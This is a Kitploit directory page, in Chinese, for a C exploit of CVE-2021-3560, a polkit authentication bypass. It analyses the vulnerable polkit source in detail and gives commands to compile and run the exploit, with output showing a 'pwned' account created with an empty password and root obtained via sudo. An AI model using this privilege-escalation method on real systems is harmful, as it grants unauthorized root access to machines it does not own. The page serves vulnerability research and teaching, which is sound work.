Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/hakivvi/cve-2021-3560
身份验证与授权权限提升漏洞分析漏洞利用渗透测试红队
GitHubhakivvi/cve-2021-3560

CVE-2021-3560

针对CVE-2021-3560的C语言漏洞利用程序,利用polkit中的一个认证绕过漏洞,允许非特权用户通过DBus创建特权账户,附有详细的技术分析文章。

查看仓库
401235年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-3560

基于C语言的可靠CVE-2021-3560漏洞利用程序。

摘要:

昨天我偶然发现了Kevin Backhouse的这篇博客文章(发现了这个漏洞),我尝试了文章中提供的bash命令,令我惊讶的是,它居然在我的Kali Linux机器上生效了!

CVE-2021-3560是polkit上的一个身份验证绕过漏洞,它允许无特权的用户通过DBus调用特权方法。该PoC利用此漏洞调用由accountsservice提供的两个特权方法(CreateUser 和 SetPassword),从而允许我们创建一个特权用户并为其设置密码。

polkit会检查调用者是否有权限调用此类方法,它首先检查调用者的用户ID,如果为零,则假定调用者为root,并直接允许操作而无需身份验证;否则,它会要求输入用户密码。

polkit_system_bus_name_get_creds_sync() 函数调用两个方法来获取调用者的UID和PID:GetConnectionUnixUser 和 GetConnectionUnixProcessID。这些调用的结果会被写入类型为 AsyncGetBusNameCredsData 的 data 结构体(该结构体初始化为0),并由回调函数 on_retrieved_unix_uid_pid() 处理。而 polkit_system_bus_name_get_creds_sync() 会阻塞,等待回调函数设置错误或设置UID和PID。

root@kitploit:~
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
				       guint32                       *out_uid,
				       guint32                       *out_pid,
				       GCancellable                  *cancellable,
				       GError                       **error)
{
  gboolean ret = FALSE;
  AsyncGetBusNameCredsData data = { 0, }; // 初始化为0
  GDBusConnection *connection = NULL;
  GMainContext *tmp_context = NULL;

  connection = g_bus_get_sync (G_BUS_TYPE_SYSTEM, cancellable, error);
  if (connection == NULL)
    goto out;

  data.error = error;

  tmp_context = g_main_context_new ();
  g_main_context_push_thread_default (tmp_context);

  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* 名称 */
			  "/org/freedesktop/DBus",      /* 对象路径 */
			  "org.freedesktop.DBus",       /* 接口名称 */
			  "GetConnectionUnixUser",      /* 方法 */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, // 回调函数
			  &data); // 将data传递给回调函数以及方法的回复
  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* 名称 */
			  "/org/freedesktop/DBus",      /* 对象路径 */
			  "org.freedesktop.DBus",       /* 接口名称 */
			  "GetConnectionUnixProcessID", /* 方法 */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, // 回调函数
			  &data); // 将data传递给回调函数以及方法的回复

  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // 在回调函数 on_retrieved_unix_uid_pid() 被调用之前阻塞
    g_main_context_iteration (tmp_context, TRUE);

回调函数 on_retrieved_unix_uid_pid() 在每个方法调用后被调用来获取回复(UID和PID)或设置错误。该函数调用 g_dbus_connection_call_finish() 来获取回复,如果发生错误,则将 data.caught_error 设置为 TRUE 并返回(data.uid 和 data.pid 仍保持为0)。否则,它将检索到的值(UID或PID)赋值给 data.uid 或 data.pid(取决于检索到的是哪个值),然后返回。

root@kitploit:~
static void
on_retrieved_unix_uid_pid (GObject              *src, // 连接
			   GAsyncResult         *res, // 异步结果对象
			   gpointer              user_data) // 从前一个函数传递来的 data 参数
{
  AsyncGetBusNameCredsData *data = user_data;
  GVariant *v;

  v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
				     data->caught_error ? NULL : data->error); // 完成并获取回复
  if (!v) // 是否错误?
    {
      data->caught_error = TRUE;
    }
  else
    {
      guint32 value;
      g_variant_get (v, "(u)", &value); // 解包回复,获取UINT32 (u)
      g_variant_unref (v);
      if (!data->retrieved_uid) // GetConnectionUnixUser 方法
	{
	  data->retrieved_uid = TRUE;
	  data->uid = value;
	}
      else
	{
	  g_assert (!data->retrieved_pid); // GetConnectionUnixProcessID 方法
	  data->retrieved_pid = TRUE;
	  data->pid = value;
	}
    }
}

GetConnectionUnixUser 和 GetConnectionUnixProcessID 方法如果找到(调用者进程仍然连接到总线)则返回UID和PID,如果发生错误(例如调用者进程被杀死)则返回错误。

一旦 data.uid 和 data.pid 被设置,或者 data.caught_error 被设置,函数 polkit_system_bus_name_get_creds_sync() 将继续执行,而这里正是漏洞所在:polkit_system_bus_name_get_creds_sync() 在 data.caught_error 被设置时并不会返回错误,而是将 data.uid 中的值赋给 out_uid,并返回 TRUE(即使 data.caught_error 被设置)。out_pid 是指向 guint32 变量的指针,由 polkit_system_bus_name_get_user_sync() 调用 polkit_system_bus_name_get_creds_sync() 时传入:

root@kitploit:~
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
				       guint32                       *out_uid, // 指针
				       guint32                       *out_pid, // NULL
				       GCancellable                  *cancellable,
				       GError                       **error)
{

  [snip]
  
  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error)) // 等待回调函数处理回复
    g_main_context_iteration (tmp_context, TRUE);

  if (out_uid) // TRUE
    *out_uid = data.uid; // 即使出现错误也设置它 [!]
  if (out_pid) // FALSE
    *out_pid = data.pid; // 即使出现错误也设置它 [!]
  ret = TRUE; // 即使出现错误也返回 TRUE [!]
 out:
  if (tmp_context)
    {
      g_main_context_pop_thread_default (tmp_context);
      g_main_context_unref (tmp_context);
    }
  if (connection != NULL)
    g_object_unref (connection);
  return ret;

利用方法:

如果进程A通过DBus调用一个特权方法,那么polkit会检查调用者的UID。如果进程A在发送消息后立即退出,那么方法 GetConnectionUnixUser 和 GetConnectionUnixProcessID 将返回错误,因为调用者进程已不存在。回调函数 on_retrieved_unix_uid_pid() 会将 data.caught_error 设置为TRUE,而 data.uid 和 data.pid 保持不变(这意味着它们都被设置为0,因为data结构体初始化为0)。函数 polkit_system_bus_name_get_creds_sync() 将继续执行,将 out_uid 设置为 data.uid(0),并返回TRUE。

一系列函数将持续返回假的UID(0),直到 polkit_backend_session_monitor_get_user_for_subject() 将 user_of_subject(基于假的UID构建)返回给 check_authorization_sync() 函数。该函数通过调用 identity_is_root_user(user_of_subject) 检查UID是否为root,如果返回TRUE,则进程A被授权。

root@kitploit:~
static PolkitAuthorizationResult *
check_authorization_sync (PolkitBackendAuthority         *authority,
                          PolkitSubject                  *caller,
                          PolkitSubject                  *subject,
                          const gchar                    *action_id,
                          PolkitDetails                  *details,
                          PolkitCheckAuthorizationFlags   flags,
                          PolkitImplicitAuthorization    *out_implicit_authorization,
                          gboolean                        checking_imply,
                          GError                        **error)
{

  
  [snip]

  user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
                                                                         subject, NULL,
                                                                         error);
  if (user_of_subject == NULL) // false
      goto out;

  /* 特殊情况:uid 0,root,始终有权执行任何操作 */
  if (identity_is_root_user (user_of_subject)) // true
    {
      result = polkit_authorization_result_new (TRUE, FALSE, NULL); // 授权调用者
      goto out;
    }

  [snip]
 

PoC:

我决定使用DBus C API编写一个PoC。我没有使用 sleep() 来等待消息发送到目标服务,而是利用了DBus函数提供的超时参数。通过(滥用)这个参数,我们可以强制函数在发送消息后立即返回,然后杀死进程,从而利用polkit上的漏洞绕过身份验证。详细技术细节请参考这篇博客文章。

运行:

  1. 编译漏洞利用程序:
root@kitploit:~
user@host: gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
  1. 运行漏洞利用程序:
root@kitploit:~
user@host: ./exploit
  • 输出:
root@kitploit:~
user@host:~/CVE-2021-3560-testing$ gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
user@host:~/CVE-2021-3560-testing$ ./exploit
[*] 创建用户 "pwned-1624301069" ...
[!] 用户已创建!
[*] 用户: pwned-1624301069, uid: 1007
[*] 为 "pwned-1624301069" 用户设置空密码..
[*] 已为 "pwned-1624301069" 用户设置空密码!
[!] 运行: "sudo su root" 以 "pwned-1624301069" 用户的身份获取root权限
┌──(pwned-1624301069㉿host)-[/home/user/CVE-2021-3560-testing]
└─$ sudo su root

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

root@host:/home/user/CVE-2021-3560-testing# id
uid=0(root) gid=0(root) groups=0(root)
下载工具